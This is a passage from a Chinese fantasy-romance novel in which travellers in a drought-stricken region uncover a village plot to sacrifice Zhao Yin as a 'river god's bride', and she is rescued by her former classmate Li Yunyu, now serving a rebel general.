油菜花落尽,吴风依扔掉了拐杖,他跟村里的大爷学编竹篓,一天能挣上一点钱。李春序学会了挑针绣花,她在手帕上绣一连串飞舞的紫色蝴蝶,栩栩如生,接连卖出好价钱,七里八乡的姑娘们争着看,还让她描花样。
吴风依看不出名堂,“这不就是普通蝴蝶吗?”
李春序捻了捻线,头也不抬,“你懂个屁!”
他指着粉色月季上飞舞的紫色蝴蝶,忿忿不平,“这不到处都是!”
“这可是山蝴蝶。”
“山上的蝴蝶?”
“……算是吧。”
吴风依一脸莫名,李春序却并不打算细讲,那是她与阿吟之间的秘密,一个瑰丽的秘密。
晚霞垂落天际,赵吟推开柴门回到小院,角落的木盆里浮着西瓜与杏梨,一些月季花瓣飘落在水面。
赵吟恍然发觉,夏天到了。
她曾经是那样期待夏天,可如今她已不再注意。
榴花灿烂时节,赵吟辞别薛大娘,重新踏上征程。
吴风依一匹马,赵吟与李春序共乘一匹。慢悠悠走到村口处,有一妇人提着大包小包来回踱步,不时朝路边张望。
赵吟勒了下缰绳,停在附近的树荫下歇脚。
马蹄声终于由远及近。
妇人惊喜地迎上前,“阿辉,辛苦你了!”
名叫“阿辉”的人接过她手里的包裹,通通系在马背上,他转身朝向妇人,“阿德嫂,还有什么话要带给他吗?”
“让他注意身体,少喝酒,孩子们都很好。”
阿辉点头,起身上马。
可妇人突然又走向他,从马背上取下两个包裹。
她解释道:“给太多他就不会念着回乡啰!”
阿辉笑出声。
阿德嫂站在原地目送一人一马离去,很久很久,她才转过身。
吴风依小声道:“阿吟,她要离开了,我们还不走吗?”
赵吟回头看向妇人的背影,“等下她肯定会回头。”
李春序与吴风依齐齐扭头看过去。
果然,她又回了下头。
两人大笑,然后同时叹了口气。
她一定来过这里很多回,无数次期盼男人会不会奇迹般出现,她一天天数日子,从秋到春,从春到夏。每到夜里,那些轻柔的思念会破窗而出,化为露气。
清晨的露水,就是思妇的眼泪。
思念很长,跨越古今,无惧阻碍。
思念又很短,跨不过江,渡不过海。不能将思念的人带回身边。
七月,他们进入定州地界。
暮色低沉,三人还没找到旅店,周围一片荒芜,土地龟裂,寂静无声。
吴风依心里打鼓:“阿吟,晚上我们住哪儿?”
赵吟吓他:“哪里都可以,我们三个人,你怕什么?”
吴风依干笑,安陵城练出来的胆子到了定州并不管用。
他害怕,李春序更怕,她紧紧搂着赵吟的腰,连头都不敢抬。她总觉得河边芦苇像有人低语,“梭梭”的声音是有人在穿行。
又走过一段小路,一个小小的庙出现在尽头。
赵吟跳下马,“今晚就在这里凑活一下吧。”
吴风依拿下马背上的灯笼,取出火折子点燃。
赵吟则去田埂上揪了一些艾草,推开庙门。吴风依率先走进去,举起灯笼照向前方,见庙内泥塑破旧,并非观音或神君。
“这是什么庙?供的什么神?”
他凑到前面,发现供桌上有几根蜡烛,还有一些供品。
蜡烛点燃后,庙内的一切渐渐有了轮廓形状。屋角没有蛛网,供桌上也没有灰尘,似乎才被打扫过。
赵吟点燃艾草,在各个角落处挥舞,李春序紧紧跟着她。
烟雾缭绕中,她看见墙壁上的刻痕还有壁画。
“阿风,你提着灯笼过来一下。”
吴风依闻言走来,赵吟接过灯笼照向墙壁。还未看清,
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门外传来细碎的声音,三人躲在阴暗处,紧张地盯着门口。
“吱呀”一声,一个破旧的灯笼伸进来,伴随着苍老的声音,“蜡烛怎么亮了?”
讶异声,吸气声此起彼伏,一群人跨进庙内。
那只破旧的灯笼左探右探,终于探到了赵吟这边。
“有人!”
吴风依挡在最前面,堆起笑意,“我们投宿,投宿……”
为首的那人胡须花白,面容慈祥,他打量了一下吴风依,然后将视线转向赵吟,笑了两声,“是外乡人吧?”
赵吟答:“是,没找到旅店,在此暂住一晚,是否打扰了诸位?”
老人摆摆手:“不碍事不碍事!你们先歇着,李二,拿些吃的给他们。”
背后走出一名壮汉,他从背篓里拿出一个油纸包并几个烧饼递过去,吴风依恭敬地接过,与赵吟李春序退避一边。
油纸包里是碳烤猪肉,香而不腻。赶路的这些天,他们还没吃过如此佳肴。
老者从桌子下搬出几个蒲团,示意大家都坐下。
庙门一关,小小的空间一下安静。
老者问道:“你们是从哪儿来的?”
赵吟胡编乱造,“泸州。”
“噢,那是很远。你们路过别的州郡,可有干旱如此啊?”
吴风依道:“似乎没有。”
老人叹气,摸摸自己花白的胡子。
“看来是该请一位祈雨娘……”
三人感兴趣地抬起头,“祈雨娘?”
他们只知有扫晴娘,却不知还有祈雨娘。
老人呵呵笑,“三位有所不知,这是我们云庄的传统。”
赵吟吃下最后半块烧饼,擦干净手,坐直身体。
“诸位可知云中君?”
赵吟点头,“传说中的云神。”
老人满意点头,“我们云庄的人自诩为云中君后代,认为他可以布云施雨。天大旱,是因为他失去了心爱的新娘,悲伤而不肯布雨,这个时候,就需要一位祈雨娘去打动他,使其再下凡间。”
李春序好奇:“怎么打动他?”
“很简单,让祈雨娘扮演云中君的新娘。”
李春序与赵吟对视一眼。
老人望向赵吟和李春序,眼神清亮,“两位姑娘,是否愿意当一回祈雨娘?”
赵吟还没听说过祈雨娘的习俗,她细想片刻,看向李春序。
李春序拼命摇头,又是新娘,又是祈雨娘,还有云中君,她本来就胆小。
老人衰老的眼里映着烛光,看见李春序摇头后,神情黯淡。赵吟想起那些龟裂的大地,对他点了点头。
老人松了口气,他走到墙壁边,那正是赵吟与吴风依还没来得及看的壁画。
墙上有一些奇怪的刻痕,还有一些简陋的小人,模糊不清,隐约可见花轿,祭台,还有水滴与波浪,似乎还有一些字迹,吴风依想走近辨认,却被他伸手挡住。
老人指着壁画道:“这是记载仪式的场景,姑娘看,这是花轿,需要六个人抬着花轿穿过街道走向祭台,祭台之上,是传说中的天梯。”
赵吟望向祭台上方,仿佛看到传说中的画面,云中君踩在云头上,佩饰鸣铛,甚至有兰花的香气。
她明白所谓的仪式只是心理安慰,可这些仪式多少带有诗意色彩,使她想要一探究竟。
老人又问:“仪式就在明天,姑娘当真愿意?”
赵吟点头。
老人站起,走向门边,却又回头恭敬道:“今日巧遇姑娘,真是我们云庄之幸,不然,还不知道要等多久。”
他们告辞离开,庙内又安静下来。
吴风依扭了扭脖子,“这个云中君的习俗怎么听起来怪里怪气。”
李春序起身关门,“因为你缺乏诗意的想象!”
吴风依翻了个白眼。
他躺在蒲团上,“不怕,反正我们有三个人。”
夜渐深,他合上眼皮,眼前突兀浮现那一面壁画,还有老人那一拦,拦住他干嘛?
20. 第二十章
空中偶有几声闷雷,老族长打了个哆嗦,提着的灯笼也开始晃动,灯笼漏风,烛光忽明忽暗。
有一人抱着胳膊,有些迟疑道:“老族长,你这个法子……”
老族长抬起眼皮环顾四周,夜色苍茫,他不敢高声语,“那你想个法子?或者……让你的女儿来?”
“嘶……”
没人接话,他们沉默地往回走。
村庄就在眼前,鸡鸣声起,老族长径直走到一户人间前,叩开房门。
年迈的婆子走出来,咳嗽两声,“可有人选?”
“有,就在庙内。”
“好,我马上起身。”
她佝偻着腰回到屋内,拿出一个大包裹,颤颤巍巍关上门,“当年我师傅主持仪式时,我只能在人群中吟诵,如今垂垂老矣,却能得此机会,真是一大幸事!”
老族长含笑,“这也是我们云庄的一大幸事!”
背后有几声冷哼,老族长转过身去,吩咐道,“花轿和东西都准备好了?”
“备好了。”
他抬起头,看向黑暗,也不知目光落在哪里,随后笑道:“天佑我云庄,东西刚备好就碰见了有缘人,你们说,这算不算天意?”
一片寂静,他看过去。
“算……是……”
他满意了,垂下眼睫,“天意如此,都是天意……”
这两句话被他反复念叨,李二大着胆子,却也只敢小声说:“自欺欺人。”
旁边人肘了他一下,李二噤声。
老妪从廊檐下摘下灯笼,老族长吩咐:“去抬花轿。”
天还未亮,好几顶花轿从眼前匆匆晃过,何如己背着竹筐驻足良久,恍然想起今天是七夕节,怪不得街上摆了这么多五彩绳和巧果。
刚到这里就逢此盛会,何如己嘴角快要翘到天上去。
他一边哼歌,一边走去集市,越走,歌儿越轻。
最后,歌声骤止,脚步骤停。
三三两两的商贩靠在牛车旁,蔬果品相欠佳,寥寥无几,屠户门前,几块肉懒洋洋躺在木板上。
何如己瞪大眼,今日可是军中集会,这样的菜品叫他如何回去交差?
他三步并作两步跑过去,逮住一个男人问:“菜翁?这里可是定州最大的市集?”
男人抬了下眼皮,喉咙里“嗯”一声。
何如己擦了下额头的汗,他天没亮就起来,原想赶大早来买最新鲜的蔬果肉菜,谁知会是这番景象。
他又问:“是不是新鲜的蔬果肉菜还没送来?”
男人看他一眼,“外乡人吧?”
何如己“啊”一声应答,心想外乡人怎么了?还不许买新鲜菜?
“蔬果肉菜都是各庄供应的,定州大旱!各庄的收成不好,好肉好菜都被各位老爷预定了,哪轮得到咱们!”
何如己着了急,公孙鹤鸣向来把款待军士当作一大要事,连月行军,将士们已经疲惫不堪,都盼着能饱食一顿,他主动请缨筹备筵席,没想到第一步就遇上阻碍。
男人衔了根茅草,对他道:“你租匹马,去附近的庄上看看,说不定能在农家买些肉菜。”
“最近的是哪一庄?”
“云庄,出城往北走。”
“多谢!”
何如己不敢耽搁,立马动身。
敲门声吵醒了庙内三人,吴风依翻了个身,直接滚在地上,他索性坐起身。
门外天未亮,一老妪提着灯笼,咧着嘴笑。幽暗的灯光照在她脸上,将她脸上的沟壑映照地更为明显。
老妪走进来,咳嗽了几下,“是这位姑娘吧?”
她走到赵吟面前,影子缩在地面上,完全挡住赵吟。
老妪温和一笑,将包裹递给她,“姑娘叫什么名字啊?”
赵吟看向她的眼睛,微笑道:“赵吟。”
通红的嫁衣,上面有繁复的花纹,灯光太暗,赵吟看不真切,她换好衣服,又从包裹里抖落出一个发冠。
贝壳做的流苏,洁白雅致,每次晃动都有清脆的声响。
她拿着发冠走出来,老妪正颤颤巍巍垫高蒲团,让她坐上去。
“老人家手粗,姑娘不嫌弃吧?”
赵吟摇头。
她安安静静坐在这里,感受着老人的手在自己的头发里穿梭,那双手偶尔碰到她的脸颊,带来微微刺痛。
赵吟闭上眼。
此情此景,怎么会不让她想起陈雪娘?
灯烛偶尔跳动,发生轻微声响。老妪似乎不忍室内寂寞,开始哼唱起歌谣。
音调古老又神秘,歌词含混不清,他们听不明白,却都在这种喑哑缓慢的吟唱中昏昏欲睡。
“好了!”苍老的声音像是隔着棉花传来,赵吟睁开眼睛。
老妪借着烛光仔细端详她眉眼,突然长叹一口气。然后从自己的袖子里摸出一盒胭脂和一支细小的笔,在她眉心勾勒出一个图案。
李春序和吴风依都说不上来这是个什么图案,既不是花也不是云,不过这确实是点睛之笔,使赵吟这身装扮瞬间鲜活。
李春序歪头想了半天道:“瑰丽!神秘!”
吴风依打开门,清新空气吹去一身疲意,他伸了个懒腰。
朝阳初升,老妪微笑道:“阿吟,上花轿吧!”
李春序与吴风依提步跟上,可又被止住,“本乡习俗,外乡人不可观摩。”
吴风依挠头,拽着李春序后退一步。
老妪拖长了音调吟诵:“雨娘雨娘莫回头,云君云君在前方——”
花轿走远,吴风依回到庙内,他将蒲团摊开,重新躺在上面,李春序推推他:“刚才那个婆婆跑到墙那边去写了什么,我们要不要去看看?”
墙?
吴风依一跃而起,他昨夜入睡前还在思考那副壁画,李春序正好提醒了他。室内已大亮,昨夜没看清的雕像也显示出真面目,但他确实认不出。
走到壁画最左边,一些奇怪的刻痕,他也说不出所以然。
再旁边,就是一些波浪符号,应该代表着水。
随后是好几副类似的画面——六个小人抬着一顶花轿,这意味着花轿在一步步前行。
——花轿前行,赵吟掀开车帘,见围观者甚多,花轿旁边是两个仆妇,她们每走一会儿,就会往路两边洒水,口中念念有词。
干旱至此,却还要在路上洒水?
赵吟有些不理解。
吴风依继续看去,下一副是花轿旁边有一些小人,他们手舞足蹈,一派庆贺模样。
——欢呼声传进赵吟的耳朵,窗外人声喧闹,她掀开车帘一角,见外面百姓手舞足蹈,甚至伏地跪拜。他们好像在说些
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什么,赵吟凝神细听,却总被别的声音打断,她一时有些烦躁。
吴风依终于看到了小人旁边那一些模糊的字迹,昨夜就是在这里,老族长拦住了他。
他像一只壁虎贴在墙面上,不断变换角度,试图认清这些字。字形近乎小篆,他吃力地一个个辨认,顺手捡起门边的土块,每认一个字,就在地上写一个字,李春序蹲在地上认真地看。
——一群孩童跑到花轿旁边,手舞足蹈齐声念诵,赵吟终于听清楚。
那是吴风依写在地面上的几行字:
“白马乘浪来,红轿踏波去。
赠君一斛珠,还我千钟粟!”
吴风依与李春序两相对视,他们同时重新跑回壁画边,看向下一幅。
一个线条粗糙的小人站在花轿前,旁边同样几行字。吴风依擦掉额头上的汗水,眯起眼睛仔细辨认,同时飞速地在地上写下,字迹仓促。
李春序一字一字念出来:
“水纹印,姻缘定。
嫁女去,沃土生。
舍一人,换千粟。”
她一遍一遍地重复,吴风依越听越觉得熟悉,他也跟着一起重复,最后莫名其妙连成了曲调。李春序捂住嘴巴,这韵律不正是刚刚老妪吟唱的歌谣?
——赵吟重新听见那首歌谣,这一次,音调急促,发音清晰,她掀开门帘,见老妪穿着巫女服饰,拿着红绸布在前方边走边唱,两个小女孩往空中抛洒粟米。
花轿逼仄,她听见自己的心跳。
吴风依看向最后那一幅,是老族长口中的祭坛,他说祭坛之上是天梯。
吴风依左看右看,并没有看到所谓的天梯。祭坛之上确实画着一个小人,隐约可见她垂着头,他刚想走近细看,就听见李春序颤抖的声音:“这祭坛上的人,好像在哭。祭坛之下,是水。”
——花轿停下,赵吟看向自己的嫁衣,这上面繁复的花纹,分明是水的各种形态。
李春序记得,老妪在这面墙上写了什么,她仔细寻找,终于在最角落发现一些字迹,并不难辨认。
书云:嫁女。
李彩云,元始九年,初八。
周华旦,正康十一年,初三。
张荷,正康四十年,初六。
陈娃女,安康八年,初十。
……
赵吟,长乐五年,初七。
吴风依头皮紧绷,他看向那尊非神非佛的雕像。
“铃铃”声突然出现,两人吓了一跳,他们循声望去,发现头顶上悬挂着陶铃,还有一些木人偶,吴风依将供桌搬过来,站上去。他够上一个,想拿下来,但却拿不动。咬咬牙用力一拽,所有木偶纷纷掉落,砸得他生疼。
李春序捡起一个细看,木人偶脸上刻着粗糙的五官,似哭未哭,身上刻了几个字——李彩云。
手心渗出一些汗水,她在衣袖上擦干净,又将木偶翻转过来,发现背后也刻有字迹,上云:一去不返。
她尖叫着将木偶抛开,扑到墙上用指甲将赵吟的名字刮掉。
老妪吟唱的歌谣好像又在他们耳边响起,凄婉哀艳,那张如龟裂土地一般的脸也在他们脑海中出现。
她咧嘴一笑,仿佛在嘲笑他们。
什么云中君?什么祈雨娘?
这分明是那个古老又残忍的传说——河伯娶妻。
21. 第二十一章
花轿停下,老妪苍老的声音飘荡进来,“河伯纳喜,进献新妇——”
赵吟丢掉红盖头,猛然掀开车帘,一阵风吹进轿内,带来河水的腥气。
河岸浅滩上,祭台光秃秃伫立,下面是干涸的河床,一叶破败苇筏漂浮在河床中央,沉默地诉说必将沉没的结局。
“新妇请下轿——”
昨夜那几个人就在人群中,名唤李二的目光躲闪,嘴角耷拉,老族长站在老妪身边,神色莫辨。
赵吟冷眼望过去,岿然不动。
族长嘴唇动了下,“那就开罪了!”语气冰冷,不似初见时的和蔼。
话音落,花轿旁一左一右出现两个男人,他们将手臂伸进窗内。
下巴被捏住,脖子也被扼住,冰凉的东西滑进喉咙后,脖子上的力量瞬间撤去,赵吟歪倒在座椅上,不停地咳嗽。
视线有些模糊,她竭力睁开双眼,却渐渐有些支撑不住,风还在吹,却吹不开眼前的昏暗,手抬起来,最终却又无力地垂下。
沉沉黑暗马上到来,以致于她错过了急促的马蹄声。
吴风依与李春序从马上溜下来,连滚带爬跑去河边,远处的苇筏犹在,而花轿空空,并无人影。
一股热气直冲头顶,熏得人眼睛发酸,吴风依胸膛剧烈起伏,他咆哮着冲过去,揪住老族长的衣领,大声道:“老匹夫!你这个老匹夫!”
喊完后他又一把推开,拔腿朝河中央跑去。
仰躺在地的老族长喘了口气,艰难而又慢吞吞站起。捂着屁股小跑过来的李春序正好看见这一幕。
眼睛有些热,她低下头匆匆而过。尽管气愤,可她也见不得老人这样。
刚刚追上吴风依,嘶哑的声音就在背后响起:“后生仔别跑了!她不在这里!被人带走了!”
吴风依紧急刹住脚步,却还是不由自主往前倒去,双膝跪在滩涂上,沾了一腿的泥。
那阵急促的马蹄声响起时,沉寂与肃穆被瞬间打破。
一人一马飞驰而来,马背上是穿着戎装的年轻男人。
人群就在前方,他并不勒马停住,反而直直朝人群飞奔,众人惊慌躲让,混乱中竟让出一条小路,直通花轿。
他停在花轿前,飞身下马,弯腰钻进花轿内。
老族长厉声道:“何人在此放肆!”
男人不答,抱出赵吟。
他俊朗的面容和矫健的身姿吸引了男女老少的目光,以致于大家都在欣赏,一时没有人出声阻止。
最先反应过来的是老族长,他厉声道:“给我拦住他!”
这身戎装多少有点震慑作用,村民们踟蹰,在这犹豫的功夫,他已经抱着新娘回到马背,再次扬起长鞭。
马儿嘶鸣,带着他冲出人群。
天地又重回肃穆与寂静,直到这份寂静再次被吴风依他们打破。
吴风依走过来,擦去脸上的河泥,问道:“什么意思?”
旁边有人小声回答:“有一个戎装男人将她带走了……”
吴风依长舒一口气,却又立马拧起了眉。
戎装男人?他又要去哪里找这个戎装男人?
衣袖动了下,旁边的李春序抿着嘴唇,用眼神催促他快些走。
一声轻笑,“怎么?怕我?”
老族长负着手,一步步靠近他们。
吴风依将李春序挡在身后,昂起头:“你还想做什么?”
“后生仔,莫惊慌,既然赵吟被劫走,说明河神不接纳这桩婚事。”
“什么河伯娶妻,你们这分明是在杀人!”
人群开始躁动,对他指指点点。
铃铛声叮叮当当,李春序警惕望过去,见老妪慢吞吞走过来,她拄着一根木头,上面有精致的花纹,还有那一连串铜铃。
她拿着一只陶碗,递过来。
李春序狠狠瞪她一眼,可眼神阻止不了她接下来的动作。
陶碗落在地上,四分五裂,有着水纹图案的那一瓣正好指向李春序。
“她才是河神认定的新娘!”老妪哈哈大笑。
李春序瞳孔放大,失去了说话的欲望。
人群又开始骚动,吴风依感觉自己后背湿透,他拉着李春序欲走,可人群早已将他们包围。
天边乌云聚拢,阳光暗淡,这群人忽然抬起头,面露惊喜。
吴风依瞅准时机,拉着李春序跑出去。
狂风大作,天地一下子变得昏暗。
李韫玉登楼,踹开房门,小心翼翼将赵吟放在床上。
乌云又聚,室内暗如黑夜。
他走至桌边,没有将灯烛点燃,而是摸索到茶具,倒了一碗茶。
他沉默着小口啜饮,并没有回头看向床边。
“砰”一声,门被踹开,公孙鹤鸣抱着胳膊,气势汹汹走进来。
“你竟当街强抢民女?”
他放下茶杯,点燃灯烛。又拿起一旁的佩剑,慢慢将上面的血迹擦净,并顺手挑亮烛光,笑一笑。
“乱臣贼子当久了,也不差这一桩。”
大片竹林掩着一座小石桥,桥下溪流平静,豆娘停在溪边草叶上,翠绿色的翅膀一张一合。桥的这一边,有三三两两凉亭房屋,一排平房正对大门,茅草顶,黄泥壁。
房屋背后是一排栅栏,后面有一片果园,青色的李子挂在树梢上,看一眼就酸出口水。栅栏边有两个人鬼鬼祟祟,猫着腰不停地变换角度往里面看。
有一人穿过竹林,走过小石桥,路过凉亭房屋,径直朝平房走来。
两人突然停下,齐齐张大嘴,他们对视一眼,几乎同时道:“怎么是李韫玉!”
浓云密布,偶尔落下几滴雨,李春序与吴风依狼狈地跑出果园,他们摘掉身上的树叶,拍死几只花蚊子,重新走回拴马处。
“是李韫玉。”
那就不用担心了。
吴风依伸了个懒腰:“咋们先去找个客栈休息一下!”
“好!”
他们不再着急赶路,牵着马匹慢悠悠走。
李春序突然问道:“李韫玉和阿吟认识?”
吴风依“啧”一声,“怎么不认识,我们在蒲月山都是同窗。”
“你们?”
“对,我,阿吟,阿韫,我们是同窗。”
他反应过来什么,又问李春序:“阿韫怎么跑去军营里面了?”
李
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春序迟疑道:“他现在是公孙鹤鸣的得力干将。”
吴风依满脸疑惑:“他不是李家的人么?”
“是呀,所以都在骂他是乱臣贼子。”
本来轻松的氛围一下子变得沉默,吴风依一边走,一边叹气:“阿韫,阿韫……哎……”
一滴雨落到李春序额头上,清清凉凉。她擦去水珠,停下脚步,“在那什么山,李韫玉是不是住在阿吟隔壁?”
“嗯,阿韫住水风阁,阿吟住山月亭。”
回答完后,他看向李春序。
她微张着嘴,很是惊讶,眼睛里浮出一点笑意,然后抬头望天。
“怎么突然问这个?”
“没什么。”
只不过是雨滴落在额头上的一瞬间,她忽然想起了——
走马灯。
赵吟从黑暗中豁然睁眼,光亮刺得她眼睛疼。眯着眼适应了一会儿,才渐渐看清眼前之景。
入目是一扇窗,半开半闭,窗外翠绿水欲滴。桌上有一只燃尽的蜡烛和一把剑。她低头看看自己的着装,依旧是红色嫁衣。
这是什么地方?
下床站在地上,突然的眩晕感让她忍不住扶额,只好重新坐回去,闭上眼睛休息。
竹笛声破门而来,悠扬清远,洗涤心神。
吹走她所有的疑惑,吹来从前的回忆。
在那些隔墙而居的日子里,她经常听到这样的笛音,有时在清晨,有时在傍晚。
竹笛声消失,风过竹林,哗哗而响。
她深吸一口气,走到门边,停顿片刻后终于鼓足勇气打开。
栏杆坐凳处,有一人半倚。栏杆外是巍巍青山,还有苍苍翠竹。
竹瘦,竹瘦,他与此君同瘦。
风在赵吟袖中穿梭,吹起宽大的衣袖,带来雨后清新气息,也带来熟悉的皂角香。
恍然又回到那个夏天,悉悉簌簌的脚步声打断她的困意。
她说:“小荷,我在井水里给你们冰了西瓜。”
没有人回答。
后脑勺抵住一个坚实而温暖的胸膛,眼睛也被温热的手掌捂住,背后的心跳一下快过一下。
“猜猜我是谁?”
“李大公子。”
回答对了,李韫玉却没有立刻放开她。衣物上残留的皂角香还有他身上的清爽气息,不容反驳地钻进鼻腔,就如此刻一样。
那是他们度过的最后一个夏天。
感受到她的视线,李韫玉慢慢侧过头,可是在他扭头的瞬间,赵吟仓皇转身。
从前,不是这样的。
她总是很期待夏天,很期待见到他。会期待他出现在墙的那一边,会期待他在春天秋天冬天也出现。等待是什么滋味?她从六岁就知道。等待有多痛苦,她在十五岁已知晓。
相逢?她幻想过无数次场景。
当她独身走在路上时,期待在某个转角与他不期而遇;当她淋着雨寻找落脚点时,期待正好撞翻他的伞,互相说一句“好久不见”;当她在夜晚被思维的浪潮折磨得落泪时,期待门会响三下。
但是这些,统统都没有发生。
而现在赵吟,已经不再期待夏天。
22. 第二十二章
号角声响彻,门外很快有各种动静,催促声,脚步声,踢踏声,然后复归宁静。
一群穿着盔甲的男人往大门跑去,赵吟透过半开的窗户看见了李韫玉,但只是一瞬的背影。
他还是记忆中的眉眼,承继了李夫人精致典雅的五官,还有美髯公潇洒不俗的气质。
长高了,也瘦了。
屋内书架上满满当当都是史书与兵书,赵吟随意抽出一本,上面圈圈点点,不时还有批注。
她花了一点时间想像他挑灯夜读的模样——一定皱着眉,手里捏着什么东西,不时还要长吁短叹。
肯定很累吧。
可是她也没有办法。
四周都无人,赵吟顺利走出大门。
附近的集市并不热闹,想来还是受了旱灾的影响。她捂着空落落的肚子,顺势走进一家饭铺,点了烧鸭米饭和乳酪。
店家附赠了一碗酸梅汤,她一口气喝完,烦闷的心绪平息了些。
刚拿起筷子,对面突然坐了两个人。
李春序和吴风依满脸惊喜:“阿吟,你出来啦?”
赵吟笑:“嗯。”
吴风依擦了下额头的汗,“我们正准备明天去军营再看看呢,没想到你这么快就出来了,是阿韫送你来的吗?”
赵吟放下筷子,盯着米饭道:“我自己回来的。”
李春序还想再问什么,赵吟却打断她:“我再去点些吃的,你们休息会儿。”
饭食罢,三人并肩走回客栈。
折腾了一整天,他们都很乏累,早早熄灯睡下。
身旁的李春序呼吸沉沉,赵吟却翻来覆去。
明明身体很累,可头脑却很清明,一闭上眼睛,李韫玉凭栏而望的神情和当年趴在墙头的模样就交替出现,时而重叠时而割裂。
第二天一早,吴风依刚推开房门就看到赵吟与李春序,她们挎着包袱,已经收拾停当。
赵吟催促:“收拾收拾,我们赶紧离开吧。”
在云庄的经历让她心有余悸,想来还是赶紧离开为好。
马儿在马厩里悠闲地甩尾巴,青草气息弥漫,赵吟走过去,抚摸它的鬃毛,笑道:“原来你们把它带过来了。”
李春序也去抚摸它:“时间紧急,就只带走了它。”
“我们再去买一匹吧!”
“好。”
“这次我们加紧赶路,尽量只住大旅店。”
“嗯!”
三人两马慢悠悠通过城墙,他们都看着前方,没有注意到城墙之上投来的目光。
何如己静默地看着三人走出城门,终于忍不住问道:“小侯爷,你不道一下别吗?”
今时离别,再见又是何时。
李韫玉笑道:“道别?该说些什么呢?”
已经不是很多年前,每次道别都会说明年夏天再见。
这是他第一次看着赵吟的背影,往常,都是赵吟看着他离开,原来目送别人离去是这样的滋味。
背影快要消失不见,他突然折下城墙边垂下的柳叶,吹响。
吴风依跟李春序齐齐转头看:“哪里来的笛音?”
赵吟没回头,也没继续走,她勒马停在这里听完这一曲,才继续前进。
“阿吟等等我,我跟这匹马还不太熟!”
远离了定州城,三人都松了一口气。但快要天黑时仍没见到客栈,相似的忧愁又在他们心中聚起。
每眨一次眼,天就暗一寸。四周有村落,也有破庙,但赵吟不敢再借宿,她跳下马,走到一棵枝干虬曲的桃树下,“我们燃一堆火,就在这里将就一晚吧!”
吴风依和李春序都点头应允。
夏夜的晚风清清静静,赵吟从口袋里拿出小米,在地上画了一个圈,这还是她从芦生那里学到的。
李春序和吴风依都紧紧贴着她,过往经历使他们不敢让任何一个人单独做事,也不敢离开阿吟。
“捡点柴火吧!”
旁边就是桃林,地上有很多散落的枝干,而桃枝又有辟邪的功效,他们弯腰走进去。
“嘎吱”,树枝断裂的声音此起彼伏。
李春序道:“小声一点。”
话音刚落,她怪叫一声,整个人都跳到赵吟身上。
“……”
与其同时,他们听见一声抱怨,伴随着长长的哈欠。
“谁人扰我清梦?”
眼前突兀地出现一个白衣老人,衣服上不染纤尘。
他看向呆若木鸡的三人,走过去,拍拍赵吟和李春序的头,又捏了下吴风依的脸颊。
“我是修月匠人。”
“啊?”
“八万三千户匠人修补月亮凹痕,老夫只是其中之一。”
老人在衣袖里摸来摸去,摸出三个发着白光的糕团塞到他们手里,“月亮碎屑做的糕团,吃了就会此生无忧。”
三个人同时看向他,同时说道:“不可能。”
老人哈哈大笑,叹了口气道:“是呀,人怎么会没有烦忧。”
他拍拍衣袖,对他们道:“与我相遇,即为有缘,这说明以后你们会遇到一些奇异之事!”
吴风依倒吸一口气,而赵吟与李春序并无太大反应。
“你们要在这里将就一晚?”
“嗯。”
“前面不远处有军队交战,你们呐,怕是要将就一段时间了!”
“可是……”
老人微微一笑,指着桃林后面的一条小径道,“从这条路走,穿过这座小山,你们会看到一个村庄,那里民风淳朴。”
他挤了下眼睛,眼风斜向旁边的村庄:“不似这里,各个精明市侩。”
赵吟笑出声,“谢谢你。”
老人再次拍拍她的头,复又伸了个懒腰。
“好了,老夫要去修月亮了!”
只是眨眼的功夫,眼前再没有白衣老人,只不过,他们的脚边落了一顶圆圆的纸灯笼,光芒将前路都照亮。
吴风依拿起来端详片刻,惊呼道:“里面没有灯烛。”
赵吟微笑,“是月光。”
她拿起那个糕团,咬了一大口。
山虽小,可他们翻越过去花了大半夜,等见到三三两两的村居时,月亮已经不在树梢。
这么晚了,不必惊扰村人。
三人对视一眼,走向村口那棵大树。
就在他们走过去时,村口第一家的门开了。
“谁呀?”一个老人从门后探出头,用略带沙哑的声音询问。
还没等赵吟回答,他就将门整个打开。
“外面蚊子多,快进来坐会儿!别不好意思,人老了觉少,平时我也是这个时候起床。”
小屋里点燃烛光,而吴风依手里的灯笼也渐渐暗淡。
鸡打鸣了。
然后又被老人抓住,手起刀落。
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>火塘的大铁锅里炖着鸡汤,隔壁的房间里,赵吟三人一人占据一张凉床,在鸡汤的香气和艾草的气息中入睡。
他们醒来时,已日上三竿。
老人头戴草帽,拿着鱼篓走进来,兴冲冲道:“来货了,又正好有客人,等下把儿子媳妇孙子孙女都喊来!”
赵吟应和道:“阿公好福气,子孙满堂!”
老人嘿嘿笑,坐回火塘边,将火捅燃。
他说:“我叫姜一鱼,就叫我姜阿公吧!”
“姜一鱼?好名字!颇有姜太公遗风,又合乎中庸之道,不多不少,一鱼即可。”
姜阿公讶然道:“姑娘是个读书人?”
吴风依回道:“阿吟可是袁夫子的得意门生!”
姜阿公停下动作,收起脸上的笑意,表情变得有些严肃,他看向赵吟,“那姑娘可曾听过空穴来风?”
空地上堆积着杂七杂八的东西,枯枝、木头、锄头、铁锹,最上面还压着一台鼓风机。
一个健壮的男人立在旁边,腰间围着粗粗的麻绳,另一头握在不远处另外几个健壮的男人手中。
他小心挪开鼓风机,将枯枝木头等物都移到一边,然后拿扫帚扫去上面的泥土落叶,露出一张旧旧的草席。
他弯下腰,迅速移开草席,急急后退。
是一口枯井,隔了些距离,但是里面呼呼的风声还是传了过来。
人群中的赵吟也有些诧异,这就是老人口中的空穴来风?
“村长来了村长来了!”
一名身材中等的中年人小跑着过来,径直走到赵吟他们面前。
“不好意思来晚了……”
他擦了下额头的汗水,指着枯井道:“这口枯井里一直传来风声,并且吹来的风是温热的。”
姜阿公补充道:“我祖母小时候就是这样。”
赵吟问:“村里可曾出过什么怪事?”
村民们一致摇头。
“就是因为没什么怪事,大家才愈加好奇。”村长拧起眉,显得忧心忡忡。
这口枯井一直是历代村长的一块心病,不知好坏,不敢擅动。
“有过的!”
人群中突然有人大声道,可大家都看向他时,他的声音却小了下去。
“我曾祖母说,在她小时候,村里曾经莫名奇妙少了一位女孩,村口的张聋子根本没见到她出村,而村尾的谢哑巴也没见到她上山,大家把池塘水田都翻遍了,也没找到人。”
他看了眼枯井,又迅速移开视线,“当然还包括这口枯井。”
赵吟思考片刻,对村长道:“想要解开谜团,只有一个办法。”
村长有些紧张:“什么办法?”
“一探究竟。”
赵吟用小米在人群之外画了一个圈,又点燃一把艾草,然后才道:“松手!”
